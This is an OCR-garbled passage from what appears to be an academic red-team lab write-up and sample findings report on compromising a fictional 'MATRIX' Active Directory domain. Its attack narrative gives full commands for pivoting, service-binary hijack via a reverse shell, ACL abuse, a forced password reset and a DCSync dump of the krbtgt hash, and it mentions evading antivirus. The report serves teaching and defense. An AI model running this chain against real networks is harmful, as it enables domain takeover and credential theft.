the Nmap traffic through a proxy, it would be a lot slower than usual and we could only use the TCP_Connect()
scan mode. The syntax of sshuttle is: “sshuttle -NHr root@192.168.174.136 -e *'ssh -i id_rsa™ 10.10.10.0/24”

-N = automatically determine subnets to route
-H = continuously scan for remote hosthames and update local /etc/hosts as they are found
-r = ssh hostname (and optional username and password) of remote sshuttle server
-e “ssh -i id_rsa” = the command to use to connect to the remote [ssh]. Because sshuttle doesn’t support
by default ssh connection with a private key we need to work around that with the -e flag. Here we
provide the private SSH key to connect without a password.
o 10.10.10.0/24 = the subnet we want to gain access to
In a new terminal we will run Nmap to scan the internal network and find the next host to pivot to. The command

is “nmap -sT -T1-sV -v -p- -oN ./nmap.txt -Pn 10.10.10.0/24”;

o -sT = we will use TCP Connect() scan mode, because SYN and FIN scans will either ignore the proxy or
will break it

-T1 = Set timing template, we will use 1 to be stealthier

-sV = Probe open ports to determine service/version info

-v = Enable verbose mode

-p- = Scan all ports

-On ./nmap.txt = Output scan in normal format and save in nmap.txt file in this directory

-Pn = Treat all hosts as online -- skip host discovery since ICMP is not supported through the proxy
10.10.10.0/24 = the range of IPs to scan. We know this from the rules of engagement

To save some time we can scan the IP range using the “arp -a” command which uses the Address Resolution
Protocol (ARP) to search for live hosts on the internal network. This is much faster than nmap because it has

direct access to the internal network but only returns the IP and MAC addresses.

gatewav (192.168.174.2) at 00:50:56:e8:11:40 [ether] on ens33
? (10.10.10.3) at 00:0c:29:27:50:d1 [ether] on ens34

? \1vz.1v00.1/4.1) at 00:50:56:c0:00:08 [ether] on ens33
gateway (10.10.10.1) at 00:0c:29:65:91:be [ether] on ens34

Figure 21. ARP scan's results

3.4 Enumeration and Exploitation of “THE-WHITE-RBBIT” Host

We have two possible IP addresses that we are interested in as the others are out of scope; from these we can
exclude the first (10.10.10.1) as it is the default gateway for the network. Now we can tell Nmap to scan only this
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address (10.10.10.3), instead of the subnet. So, the new command will be “proxychains4 nmap -sT -p- -sV -T1 -
v -oN ./nmap.txt -Pn 10.10.10.3”

# Nmap 7.80 scan initiated Sun Jul 3 17:48:51 2022 as: nmap -T1 -sT -p- -sV -v LON ./nmap.txt -Pn 168.18.18.3
Nmap scan report for 18.18.18.3

Host is up (©.00854s latency).

Not shown: 65527 filtered ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp  open netbios-ssn  Microsoft Windows netbios-ssn
44 D gpen i —dg?

389/tcp open ms-wbt-server Microsoft Terminal Services

bWal/Tcp  open  unknown

5357/tcp open http Microsoft HTTPAPI httpd 2.@ (SSDP/UPnP)
7688/tcp open pando-pub?
49668/tcp open msrpc Microsoft Windows RPC

Service Info: 05: Windows; CPE: cpe:/o:microsoft:windows

Figure 22. Host's Nmap results
As can be seen from the above results, the host has the port 3389 open, which is the default port for the RDP
service. We can try to connect with a Linux tool, called rdesktop [73] with the credentials we found via OSINT.

When we try to connect, we get an alert saying the username is wrong and we see it starts with “THE-WHITE-
RBBIT” which is for local users. If we replace it with the MATRIX domain, we found earlier it will let us in.
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rdesktop - 10.10.10.3

Other user

THE-WHITE-RBBIT\Neo

==
Reset password
Sign in to: THE-WHITE-RBBIT

How do | sign in to another domain?

Figure 23. RDP Connection

Next, we will open a Covenant shell for more versatility and control over the target. The target runs Windows
Defender for protection. Nonetheless, we can still open our shell without triggering the antivirus by bypassing the
AMSI protection in PowerShell and then running the code generated by Covenant. Unfortunately, for security
reasons, I can’t provide the exact code or procedure.
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Windows Security

®s Virus & threat protection settings

View and update Virus & threat protection settings for Microsoft Have a question?
Defender Antivirus, G

4 b 0 £ » O ®

» improve Windows Security

Change your privacy settings

@ o7F suny A Q) on

R Type here to search

Figure 24. Bypassing Defender (Windows side)

Grunts
hame Hostname user Integrity LastCheckin — Note Tempiate
> Grunts >, 4dbden710 The-White-Rbort Nea Medium PI162022 12:32:35 PM Active GruntHTTP
fapT——

Figure 25. Bypassing Defender (Kali side)

Now that the shell is up and running, we will perform local enumeration. Covenant has a built-in utility for that
called Seatbelt. Seatbelt is part of the GhostPack project on GitHub, written in C# and can perform a number of
security-oriented checks to identify and collect artifacts and provide us with a high-level overview of the target’s
system [74]. The command we will use in our grunt is “seatbelt -group=all”.

e -group=all = run all checks/modules
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The-wWhite-Rbbit

0 : MATRIX.local
Username :  MATRI
ProductMame : Windows 10 Enterprise Evaluation
EditionID : EnterpriseEval
Releaseld ;2809
Build : 19844.1826
BuildBranch i vb_release
CurrentMajorVersionNumber : 18
CurrentVersion : 6.3
Architecture :  AMDG4
ProcessorCount
IsVirtualMachine
BootTimeUtc (approx) : 72372022 :29:32 AM (Total uptime: 60:00:30:55)
HighIntegrity
IsLocalAdmin

[*] In medium integrity er is a local administrator - UAC can be bypassed.
CurrentTimeltc o 72372022 12:00:27 PM (Local time: 7/23/2022 5:00:27 AM)

Figure 26. Seatbelt

From the results we can see that we have a medium integrity grunt and the user is local admin, but we won’t have
much freedom in our attacks unless we escalate our privileges. We can run another built-in utility called SharpUp
to help us find a way to gain system permissions. SharpUp is also part of the GhostPack project on GitHub,
written in C# and ports various PowerUp functionality to help us identify vulnerabilities for privilege escalation
[75]. The command is “SharpUp audit”

e audit = Specifies whether or not to enable audit mode. If enabled, SharpUp will run vulnerability checks
regardless if the process is in high integrity or the user is in the local administrator's group. If no checks
are specified, audit will run all checks. Otherwise, each check following audit will be run.
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covenant) > SharpUp audit

SharpUp: Running Privilege Escalation Checks ===

In medium integrity but user is a local administrator- UAC can be bypassed.

Audit mode: running all checks anyway.

Modifiable Services ===

Modifiable Service Binaries ===

Name : network service
DisplayName : network service
Description

State : Stopped

StartMode : Manual

PathName : C:\network service.exe

Figure 27. SharpUp

SharpUp returns one service that we can modify called “network service” along with the path to the executable.
We can query the service to get more information with the command “PowerShell sc.exe gc network_service”.

e PowerShell = executes a PowerShell command
Sc.exe = sc is sort for service control which is a PowerShell command to create, start, stop, query or
delete a windows service

e (c =shows configuration, dependencies, full path etc.
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(covenant) = powershell sc.exe gc network service

[SC] QueryServiceConfig SUCCESS

SERVICE MNAME: network service
TYPE : 10 WIN32 OWN PROCESS
START_TYPE : DEMAND START
ERROR._CONTROL : NORMAL
BINARY PATH NAME : C:hnetwork service.exe
LOAD ORDER GROUP
TAG :
DISPLAY NAME : network service
DEPENDENCIES
SERVICE START MAME : LocalSystem

Figure 28. Service Config

We can see that the service account type is Localsystem and has permissions to start, stop, and pause the
service. Next, we need to find what permissions our user has on this service. To do this, we will upload and
use a tool called “accesschk64.exe”. This tool is part of the Sysinternals suite developed by Microsoft for
troubleshooting [76]. The commands we will use are “Upload /filepath:”"C:\Temp\accesschk64.exe”” to
upload the executable and “PowerShell .\accesschk64.exe /accepteula -uwcqv “neo” network_service”

»n

to find the permissions.

/filepath:”C:\Temp\accesschk64.exe” = the path in the target’s system where the tool will be uploaded
PowerShell = executes a PowerShell command

/accepteula = accepts the term of use without a prompt

-U = Suppress errors

-w = Show only objects that have write access

-c = provide the name of the Windows Service

-g = Omit Banner

-v = Verbose

“neo” = the username of the current user to search permissions only for this user
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(covenant) > Upload /filepath:"C:\Temp\accesschktd.exe"

C:\Temp\accesschked. exe

(covenant) = powershell .‘\accesschkéd.exe faccepteula -uwcgv "neo” network service

ccesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2806-2022 Mark Russinowvich

Sysinternals - www.sysinternals.com

A network service
SERVICE_ALL_ ACCESS

Figure 29. accesschk

The current user has full access to that service. Now that we have this information, it is best to remove the
program from the victim with “PowerShell del accesschk64.exe”

e PowerShell = executes a PowerShell command

e del = delete command
The technique we will use is called “Create or Modify System Process: Windows Service” in the MITRE
ATT&CK framework. We can exploit this wvulnerability by creating a malicious executable, called
“network _service backup” making it less obvious that it is malicious, which opens a reverse shell and then
modifying the service’s binary path to point to our executable.

We will upload this executable to the target’s disk via our Covenant shell, the reason Windows Defender is not
triggered is because this reverse shell is written in Nim and when run it returns a PowerShell session. The
commands are “upload /filepath:”C:\Temp\network_service_backup.exe”” to upload the executable to the
target, “PowerShell sc.exe config network_service binPath= "C:\Temp\network_service_backup.exe”” to
change the binary path and “PowerShell net start network_service” to start the service and execute the reverse
shell.

e config = configure for the specified service the following parameter

e binPath = the binary path of the specified service

e net = manages almost any aspect of a network and its settings, including network shares, network print
jobs, network users and services

e start = start the following service
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Figure 30. Privilege Escalation (Windows side)

o Kali Linux ¥ Kali Training

ASovenant

File Actions Edit View Help
2. fe72911850 * "

o root@kali: ~/Desktop X root@kali: ~/Desktop X
(covenant)

S
(covenant 74.128] from (UNK

Figure 31. Privilege Escalation (Kali side)

Now that we have a reverse shell with “System” privileges we will bypass AMSI in the same way as before and
then we will execute a PowerShell launcher payload generated by Covenant to gain a high integrity grunt.
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jecdac20 I The-White-Rbbit SYSTEM I System 8/1/2022 1:12:47 PM Active GruntHTTP

> dadecdac20

(covenant) > whoani

NT AUTHORITY\SYSTEM

Figure 32. High Integrity Grunt

3.5 Domain Enumeration

Now, we can conduct domain enumeration to find the next pivot point. We will upload a modified version of
SharpHound to the target bypassing Defender, using the command “upload /filepath:”C:\Temp\debug.exe””
and run the executable with “shell debug.exe -¢ All”. Then it will produce a .zip file that we need to download
and load into BloodHound with “download [path to the file]”.

[filepath = the path to store the file

debug.exe = the SharpHound executable renamed

shell = we tell Covenant that we want to run a sell command in the target
-c All = we tell SharpHound every collection method it has

(covenant) > shell debug.exe -c

arpHound is compati ith the 4.2 Relea: d
n Methods: Group, dmin, GPOLocalGro ss. ggedon, Trusts, ACL, Container, RDP, Obje DCOM, SPNTargets,

ssion, Loggedon, Trusts, ACL, Containmer, RDP, ObjectProps, DCOM, SPNTargets, PSRemote

g 34 MB RAM

ing output chann
aiting for outpu conplete

)| INFORMATION|Status: 10 (+106 2 /s -- Using 41 MB RAM
)| INFORMATION | Ens ration
NFORMATION | San

:00| INFORMATION |SharpHound Enumeration Completed at 7:13 AM on 8/17/2022! Happy Graphing!

Figure 33. SharpHound execution
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(covenant) > ListDirectory

Length  CreationTimeUtc ast imeUt LastWriteTimeUtc

149 BloodHound.zip

tMMI4YSOE0WMXLThiM2ItZGMSNTIO0TEXMGZm. bin

(covenant) > Download

[!] Usage: Download <filename=

(covenant) > Download C:\Temp\20220816012149 BloodHound.zip

Download completed: C:\Temp)\20822 012149 BloodHound.zip

Figure 34. Downloading SharpHound's results

In order to use BloodHound we need to have Neod4j installed and running on our system. Neodj is a graph
database management system that BloodHound uses to display the graphs. We start it with the command “neo4;j
console”.

neo4j console
Dirt.'\.LUIJ_C'D LI uae.
home: /var/lib/neo4]j
config: /etc/neodj
logs: /var/log/neodj
plugins: /var/lib/neodj/plugins
import: /var/lib/neo4j/import
data: /var/lib/neo4j/data
certificates: /var/lib/neodj/certificates
run: /var/run/neodj

Max 1024 open files allowed, minimum of 40000 recommended. See the Neo4j manual.
_JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
:29:04.580+0000 INFO Neodi 4.0.12 = =
.595+0000 Starting...
.801+0000 Bolt enabled on localhost:7687.
.803+0000 Started.
.977+0000 RENULE LlLel late avaliawie at notp://localhost:7474/
.933+0000 The client is unauthorized due to authentication failure.

Figure 35. Neo4j system

After we load the .zip file to BloodHound, we start by finding all the domain admins by using the “Find all
Domain Admins” of the suggested queries. We see only one admin named “Architect”.
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A W T
Analysis

Pre-Built Analytics Queries

Find all Domain Admins

Map Domain Trusts

Find Computers with Unsupported Operating Systems DOMAIN ADMINS@MATRIX.LOCAL

Find Principals with DCSync Rights

Users with Foreign Domain Group Membership
Groups with Foreign Domain Group Membership

Find Computers where Domain Users are Local Admin

Find Computers where Domain Users can read LAPS passwords

Ape
e,

Find All Paths from Domain Users to High Value Targets
Find Workstations where Domain Users can RDP

Find Servers where Domain Users can RDP

Find Dangerous Rights for Domain Users Groups

Find Domain Admin Logons to non-Domain Controllers

“ =)

ARCHITECT@MATRIX.LOCAL

Figure 36. Domain Admins

The second query we will use is called “Find shortest path to domain admin” which will reveal different
relationship paths between the domain components along with abuse methods we can use. We can see a clear
path, highlighted in red, from our user “neo” who is a member of the “one” group and has Generic All access on
the “Agents” group. Generic All access means that the user or group has full rights to the object and can add users
to a group or reset a user's password. So, the path we have to follow is, first we must add our user “neo” to the
“Agents” group, then we need to take over the “Smith” user account which is a member of the “Administrators”
group and has WriteDacl permission which means that he can modify an object's ACE and give himself full
control right over the object, in this case the “Domain Admins” group.
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A ° GenericAl
SENTINEL3@MATRI®QEAL [NEO@MATRIX LOCAI ]

PO
F
ADMINISTRATORS@MATRIX.LOCAL

SENTINEL2@MATRIX.LOCAL

L — 2
ARMY@MATRIX.LOCAL SENTINEL1@MATRIX.LOCAL

MINS@MGTRIX LOCAL

DEFAULT DOMAIN CONTROLLER

DEFAULT DOMAIN POLICY@MATRIX LOCAL MATRIX LOCAL GROUPS@MATRIX LOCAL

Figure 37. Domain Admin exploitation path

3.6 Exploitation of The Domain Controller

Bloodhound has a very nice feature of providing information about the permission of every step, but also possible
abuse methods with commands. So, by using this feature we see that the command we must use to add our user
into the “Agents” group is “PowerShell net group “Agents” Neo /add /domain”. Moreover, since the group has
also GenericAll permission over the user we can force change his password with the command “PowerShell Set-
DomainUserPassword -ldentity smith -AccountPassword (ConvertTo-SecureString ‘Password123!” -
AsPlainText -Force) -Credential (New-Object
System.Management.Automation.PSCredential tMATRIX\Neo’, (ConvertTo-SecureString
‘SuperSecurePassword1!” -AsPlainText -Force)))”. This command is part of the PowerView we imported
earlier. The suggested commands from Bloodhound for the password change uses PowerShell variables to reduce
the complexity but our Covenant shell is not directly interactive and we cannot use variables.

PowerShell = we tell Covenant that we want to use a PowerShell command

net group = we call the Net group built-in command-line tool

“Agents” = the group we want to add the user to

Neo = the user we want to add

/add = add user to the group

/domain = perform the operation on the domain controller in the current domain. Otherwise, the
operation is performed on the local computer.

Set-DomainUserPassword = sets the password for a given user identity

Identity = specifies the account we want to change the password

AccountPassword = specifies the password to reset the target user's to

ConvertTo-SecureString = converts plain text or encrypted strings to secure strings.
‘Password123!” = the new password we want for the user smith

AsPlainText = specifies a plain text string to convert to a secure string

Force = force the operation

Credential = an object of alternate credentials to connect to the target domain and make the changes
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o New-Obiject = create a new object

e System.Management.Automation.PSCredential = call the PSCredential Class which is used to manage
usernames, passwords, and credentials

o ‘MATRIX\Neo’ = our user which is used to access the domain
‘SuperSecurePassword1!’ = the password of our user

Opsec Considerations References

Figure 38. BloodHound help

(covenant) > PowerShellImport

PowerShell Imported

(covenant) - PowerShell net group "Agents" N /add /domain

The request will be processed at a domain cont for domain MATRIX.local.

The command completed successfully.

(covenant) rshell Set-DomainU ssword -Id smith -Acc s onvertTo-SecureString 'Password123!' -AsPlainText -Force) -Credential (New-Object
System.Mana .Automation.PSCredential ('MATRIX\ re uperSecurePasswordl!' -AsPlainText -Force)))

Figure 39. Adding our user to group and force change password

Now that we have changed the password and have access to the user “smith”, we see, from BloodHound, that he
is a member of the “Administrators” group and that group has WriteDacl permission over the “Domain Admins”
group. That means, he can add himself to that group. The command for this is “PowerShellRemotingCommand
MATRIX-DC “net group ‘Domain Admins’ smith /add /domain” MATRIX smith Password123!”.

o PowerShellRemotingCommand = with the WS-Management protocol, this command lets you run any
Windows PowerShell command on one or more remote computers and it is built-in feature of Covenant

38



Red Team Assessment Report

o MATRIX-DC = the name of the remote computer
o MATRIX or MATRIX.local = the domain name
o smith Password123! = the credentials of the user on the remote computer

(covenant) > PowerShellRemotingCommand MATRIX-DC “"net group 'Domain admins' smith /add /domain" MATRIX smith Passwordl23!

The command completed successfully.

Figure 40. Become domain admin

(covenant) > PowerShellRemotingCommand MATRIX-DC "net user smith /domain" MATRIX smith Passwordl23!

User name smith

Full Mame smith

Comment

u 's comment

Country/region code 9O (System Default)
Account active

Account expires

Password last set

Password expires

Password changeable 8/21/2022 9:22:06 AM
Password required Yes

User may change password Yes

Workstations allowed ALl
profile

Home directory
Last logon 8/20/2022 9:

Logon hours allowed All

Local Group Memberships *Administrators
Global Group memberships *Domain Admins *Domain Users

Figure 41. domain admin verification

In order to open a Covenant shell on the domain controller itself we need to return to our RDP session on “THE-
WHITE-RBBIT” computer and use PowerShell remote to open a shell. The reason being that PowerShell remote
only accepts the username as a parameter and opens a pop-up for the password. Covenant doesn’t support this as
the shell is not interactive and I could not find any way to provide the password along with the username in the
same or any other parameter. So, in our RDP session we will open another PowerShell window as Administrator,
bypass the AMSI again in the same way as before and provide the PowerShell command generated by Covenant
without triggering the antivirus. The command for PowerShell remote is “Enter-PSSession -ComputerName -
Credential MATRIX\smith” and we provide the password “Password123!” in the pop-up window. Another
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advantage of PowerShell remote is that the remote computer doesn’t not need to have RDP open or even enabled
for the command to work.

e Enter-PSSession = Starts an interactive session with a remote computer.
e ComputerName = specifies the remote computer’s name
e Credential = the username of the account on the remote computer

d N

PS C:\Windo em32> Enter-P5 o MATRIX-DC MATRIX\smith

Windows PowerShell credential request

=

i\

Enter your credentials.

User name: | €7 MATRIN\smith

Password: | o-..........l

Figure 43. whoami on DC
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673060340 MATRIX-DC  smith  High

82212022
11:48:32 AM

Active

GrntHTTP

>_ 3787386034

ﬂ 2 Type here to search

Figure 44. Covenant shell on the DC
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Real-time protection
= cates and stops malware from installing or running on your devi
can turn off this setting for a short time before it tums back on
@ automatically

o} @ o

Cloud-delivered protection

ster

@ p 0

Tamper Protection

Prevents others from tampering with important security features.

ice, You

@ Controlled folder access

Finally, now that we are domain admin and have a Covenant shell on the domain controller, we have essentially
full control over the entire domain and every computer, user, group or service within it. As a proof-of-concept
(POC) we will use Covenant's built-in mimikatz to perform a DCSync attack on the "krbtgt" account, the most
powerful account in the entire Active Directory, to dump its password hash. In case our account is terminated or
changed in any way we will have this password hash and with it we can create golden tickets which will give us
again domain admin control. The command for the attack is “DCSync MATRIX\krbtgt”

e DCSync = we tell Covenant we want to use the built-in module to perform the attack
e MATRIX\krbtgt = the account we want to compromise
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>, 3787386034 I MATRIX-DC smith High I 8/22/2022 12:32:34 PM Active GruntHTTP

Page 10f 1

>_ eTee9eaS5a X >_ 3787386034 X

(covenant) > DCSync MATRIX\krbtgt

ain:MATRIX. Local

MATRIX.local' will be the DC server
will be the user account

Object RDN

** SAM ACCOUNT *+

Password la E 2022 2:12:20 PM
Object Security ID 6-8: 5495 -502

Figure 45. DCSync attack

Object RDN
** SAM ACCOUNT **

SAM Username : krbtgt

Account lype : 3voeeooe ( USER_OBJECT )

User Account Control : 00080282 ( ACCOUNTDISABLE NORMAL ACCOUNT )
Account expiration

Password last change : 8/1/2022 2:12:20 PM

Object Security ID : i 35226495-5062
Object Relative ID : 502

Credentials:
Hash NTLM: 8c3f47fabed4433a5d73b68eddazcieaf
ntim- ©@: 8cit4/Tased4d433a>d/Ipbdeddalc/ear
Im - @: a%9a3851cA58792a92365 b26830c624

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 227d45f9c648fdcccc3ca577657d136e

Figure 46. KRBTGT's password hash
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Chapter 4: Red Team Assessment Report

<@> SystemRed inc.

Example Company
Red Team Assessment Findings Report

Business Confidential

Date: May 31st, 2022
Project: 100-1
Version 1.0
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Confidentiality Statement

This document is the exclusive property of Example Company (EC) and System Red’s (SR). This
document contains proprietary and confidential information. Duplication, redistribution, or use, in whole
or in part, in any form, requires consent of both EC and SR.

SR may share this document with auditors under non-disclosure agreements to demonstrate red team test
requirement compliance.

Contact Information

Assessment Overview
From Aprill®, 2022 to May 31", 2022, EC engaged SR to evaluate the security posture of its
infrastructure compared to current industry best practices that included an external & internal test

Finding Severity Ratings
The following table defines levels of severity and corresponding CVSS score range that are used
throughout the document to assess vulnerability and risk impact.

Table 1. Finding Severity Ratings

Severity CVSS V3 Definition
Score Range

Exploitation is straightforward and usually results in system-level
Critical 9.0-10.0 compromise. It is advised to form a plan of action and patch
immediately.

Exploitation is more difficult but could cause elevated privileges and
7.0-8.9 potentially a loss of data or downtime. It is advised to form a plan of
action and patch as soon as possible.

Vulnerabilities exist but are not exploitable or require extra steps such
Medium 4.0-6.9 as social engineering. It is advised to form a plan of action and patch
after high-priority issues have been resolved.

Vulnerabilities are non-exploitable but would reduce an organization’s
Low 0.1-39 attack surface. It is advised to form a plan of action and patch during
the next maintenance window.

No vulnerability exists. Additional information is provided regarding
N/A items noticed during testing, strong controls, and additional
documentation.
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Scope

Table 2. Scope

Assessment Details
External Test 192.168.174.129
Internal Test 10.10.10.0/24, 10.10.0.0/16

Scope Exclusions

Per client request, SR did not perform any Denial-of-Service attacks during testing.

Client Allowances

EC did not provide any allowances to assist the testing.

Executive Summary

SR evaluated EC’s external security posture through a red team engagement from April1®, 2022 to May
31%, 2022. By leveraging a series of attacks, SR found critical level vulnerabilities that allowed full
internal network access to the EC headquarter office. It is highly recommended that EC address these
vulnerabilities as soon as possible as the vulnerabilities are easily found through basic reconnaissance
and are exploitable without much effort.

Attack Summary

The following table describes how SR gained internal network access, step by step:

Table 3. Attack Summary

Step Action
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By Scanning the network, SR found an Ubuntu server and attempted to find
hidden files and directories in the domain (www.zion.com or
http://192.168.174.129). SR found two hidden files named (control.php,
enemy.php) in (http://192.168.174.129). Then SR discovered a Local File
Inclusion Vulnerability which exists in the “enemy.php” file. SR successfully
exploited the vulnerability in order to read the source code of the “control.php”
file and found another Local File Inclusion Vulnerability which leads to
Remote Code Execution (RCE). Then SR successfully exploited this
vulnerability in order to gain access to the webserver.

SR then attempted local enumeration and found the name of the user
(morpheus) and the domain of the Active Directory (MATRIX.local) the web
server was part of.

SR conducted further enumeration which led to the discovery of a
misconfiguration in the permissions of the user “morpheus". Then SR
successfully exploited this misconfiguration and managed to escalate the
privileges of the previous user “www-data” and became the user “morpheus”
through the “vi” program.

SR then found a vulnerability in the “/var/www/zion/backup” file which had
the SUID bit set and the owner was the root user. SR then exploited this
misconfiguration usefully and escalated the privileges of the user “morpheus”
and became root.

After the complete compromise of the web server, SR managed to gain
persistence to the root user by generating a new pair of SSH keys and
transferring the public key to the “authorized_keys” file of the user root and
essentially creating a backdoor in the SSH service.

SR conducted OSINT investigation and found RDP credentials
(Neo:SuperSecurePassword1!) through a LinkedIn posted by an employee of
the MATRIX CORP INC

SR conducted network enumeration and found a Windows host (THE-
WHITE-RBBIT) with an RDP service running (port 3389). SR then gained
access to that host through the RDP service with the credentials found with the
OSINT investigation (Neo:SuperSecurePassword1!) in step 6.
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SR managed conduct local enumeration through the Covenant (C2)
8 Framework without triggering any alerts from Windows Defender anti-virus
by disabling the AMSI protection in the current session of PowerShell.

SR found a modifiable service (network service) by the user “Neo” with the
owner being “LocalSystem”. This misconfiguration allowed SR to change the
path of the executable file with an undetectable reverse shell written in Nim

9 and through that shell open a Covenant reverse shell. SR conducted
successfully the attack and managed to open a Covenant reverse shell as the
user “System”.

SR performed domain enumeration and found one domain admin (Architect)

10 and a clear path towards the “domain admins” group. SR first added the user

“Neo” to the “Agents” group as the group “One”, “Neo” was a member of, had
GenericAll access over the “Agents” group.

SR then managed to force change the password of the user “smith”
11 (Password123!) who was a member of the “Administrators” group, due to the
group “Agents” having GenericAll access over the user “simth”.

SR added the user “smith” to the “domain admins” group as the
12 “Administrators” group, which was member of, had WriteDacl access which
allowed him to add himself to the group.

SR then managed to open a high integrity Covenant reverse shell on the
13 domain controller by using PowerShell remoting from THE-WHITE-RBBIT
host.

Finally, as a proof-of-concept (POC) SR performed a DCSync attack and

14 managed to reveal the NTLM hash of the “krbtgt” account.

Findings and Remediations

1.1 Common Filenames
By Scanning the network SR found an Ubuntu web server (192.168.174.129) installation and identified two
hidden files (control.php, enemy.php) from the main website.

1.2 Recommendation
SR recommends EC to:
e Harden the web server’s security in order to make it harder to identify any hidden files.
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e Use complex names in any file or folder you want to obscure and also use a content delivery network
(CDN) like Cloudflare to mitigate the direct IP access and also to prevent passive recon sources.

e Monitor executed commands and arguments that may enumerate files and directories or may search in
specific locations of a host or network share for certain information within a file system.

o Monitor for API calls that may enumerate files and directories or may search in specific locations of a
host or network share for certain information within a file system.

e Monitor newly executed processes that may enumerate files and directories or may search in specific
locations of a host or network share for certain information within a file system.

2.1 Local File Inclusion in enemy.php file
SR discovered a Local File Inclusion Vulnerability which exists in (enemy.php) file in the image file parameter.
SR successfully exploited the vulnerability with php filter in order to access the source code of the control.php
file.

2.2 Recommendation
The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to
any filesystem/framework API. If this is not possible the application can maintain an allow list of files, that may
be included by the page, and then use an identifier (for example the index number) to access to the selected file.
Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious
users to manipulate the path.

3.1 Remote Code Execution in control.php file
SR reviewed the source code found in step 2 and successfully found in the (control.php) file, a hidden parameter
used to execute commands on the server. Then SR successfully exploited this vulnerability in order to gain access
to the webserver as the user “www-data” via a reverse shell.

3.2 Recommendation
SR recommends EC to review the source code of a web app and remove or harden any vulnerable parameters.
Furthermore, SR suggest to not pass user input directly before validating it in order to prevent remote code
execution vulnerabilities.

4.1 Domain Name Discovery
SR discovered a domain user in the webserver, which is connected to the active directory, and found the domain
name (MATRIX.local).

4.2 Recommendation
SR recommends EC to remove the web server from the active directory.

5.1 RDP Credentials via OSINT

SR conducted an Open-Source Intelligence (OSINT) investigation and discovered a picture with remote dektop
(RDP) credentials in the background from one of the EC’s employees in a post made on Linkedin
(Neo:SuperSecurePassword1l!).

5.2 Recommendation
This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed
outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the risk with
extensive training on the subject by all employees.
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6.1 VI Binary Privilege Escalation in the Ubuntu Server
SR conducted local enumeration and discovered that the “vi” binary could be called and run with elevated
privileges as the user “morpheus” without requiring a password. Then SR exploited usefully this vulnerability

gaining control of the user “morpheus”.

6.2 Recommendation
SR recommends EC to:
e Implement a password request for any request with elevated privileges by any user.
e Remove any elevated privilege from the user “www-data”, if plausible.

7.1 SUID Privilege Escalation & Persistence in the Ubuntu Server
SR conducted further local enumeration and discovered that the file “/var/www/zion/backup’ had the SUID bit set
and the owner was the user root. SR then found that the script was calling the command “cp” without the relative
path and not the absolute one. SR then successfully exploited the vulnerability taking over the user root. SR also
created an SSH backdoor in the user root to create persistence.

7.2 Recommendation
SR recommends EC to:
e Remove the SUID special permission from the file “/var/www/zion/backup”.
e Use only the absolute path of a command in scripts and programs, whenever possible.

8.1 RDP Access in the “THE-WHITE-RBBIT” Host

SR created a pivot point on the Ubuntu server via SSH service to perform network enumeration and discover
“THE-WHITE-RBBIT” host (10.10.10.3). SR then used the credentials from step 5 to gain access to the host via
remote desktop (RDP) as the user “Neo”.

8.2 Recommendation
There are no clear mitigation techniques because legitimate credentials were used to gain access to the host and
compromise the user. Nonetheless, SR’s recommendation remains the same with the step 5.

9.1 Privilege Escalation Via Weak Service Permissions In “THE-WHITE-

RBBIT” Host

SR after gaining initial access, bypassed the AMSI protection and opened a reverse shell, undetected, in the
Covenant C2 framework. SR then proceeded to conduct local enumeration with Covenant and found one stopped
service (network service) where the owner was “LocalSystem”. Furthermore, the user “Neo” had permission to
start/stop the service on demand and to modify the “BINARY PATH NAME” parameter. SR then successfully
exploited the vulnerability by modifying the service’s path to load an undetectable reverse shell in executable
format transferred previously to the host. That shell then was used to open another reverse shell in the Covenant
framework with System permissions.

9.2 Recommendation
SR recommends EC to:
e Constraint the permissions given to the users
e The folder of which the service binary is located should be accessible only to Administrators
e Implement the least privilege principle
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10.1 Domain Enumeration
SR then performed domain enumeration with the Bloodhound tool on “THE-WHITE-RBBIT” host and found one
domain admin (Architect). SR also discovered weak permissions of Access Control Lists (ACLs) which SR
successfully leveraged to gain domain admin privileges.

10.2 Recommendation
SR recommends EC to:

e Implement the least privilege principle

e Ensure critical system files as well as those known to be abused by adversaries have restrictive
permissions and are owned by an appropriately privileged account, especially if access is not required by
users nor will inhibit system functionality.

e Applying more restrictive permissions to files and directories could prevent adversaries from modifying
the access control lists.

e Remove the vulnerable account “smith” from the “Administrators” group and/or restrict the permission
the group “Agents” has on the account, if plausible.

11.1 Domain Controller Exploitation

SR used PowerShell remoting from “THE-WHITE-RBBIT” host to the domain controller and used it to
bypass the AMSI protection and open a reverse shell in the Covenant framework. SR then successfully performed
a DCSync attack to disclose the password hash of the krbtgt account.

11.2 Recommendation
SR recommends EC to:
e Disable PowerShell remoting functionality on the domain controller and on all hosts, if plausible.
e Manage the access control list for "Replicating Directory Changes™ and other permissions
associated with domain controller replication.
e Ensure that local administrator accounts have complex, unique passwords across all systems on

the network.
Do not put user or admin domain accounts in the local administrator groups across systems unless they

are tightly controlled, as this is often equivalent to having a local administrator account with the same
password on all systems. Follow best practices for design and administration of an enterprise network to
limit privileged account use across administrative tiers.

Vulnerabilities by Impact
The following chart illustrates the vulnerabilities found by impact:
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Table 4. Vulnerabilities

Vulnerabilities

3,5

2,5

1,5

0,5
0

Critical High Medium Low Informational

M Critical MW High B Medium Low M Informational

Attack Narrative

Remote System Discovery
By Scanning the network, SR found an Ubuntu server and attempted to find hidden files and directories in the
domain (www.zion.com or http://192.168.174.129).

NmapScan

2.4.41 ((Ubuntu))

=

o:Llinux:linux

1 data files from: / /
detection PErT( ed. ease results at

(1 host up) scanned in
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File Discovery
Then SR attempted to brute force files and directories domain (www.zion.com, http://192.168.174.129) by using
the gobuster tool and found the foIIowm files (control.php, enemy.php).
(Status:
(Status:
(Status:
r-status (Status:

Web Application Vulnerabilities
SR discovered a local file inclusion vulnerability in the www.zion.com domain using the LFITester tool
to test the file parameter in the enemy.php file. The command that allowed SR to obtain the users in the
server is “Ifitester -u http://192.168.174.129/enem

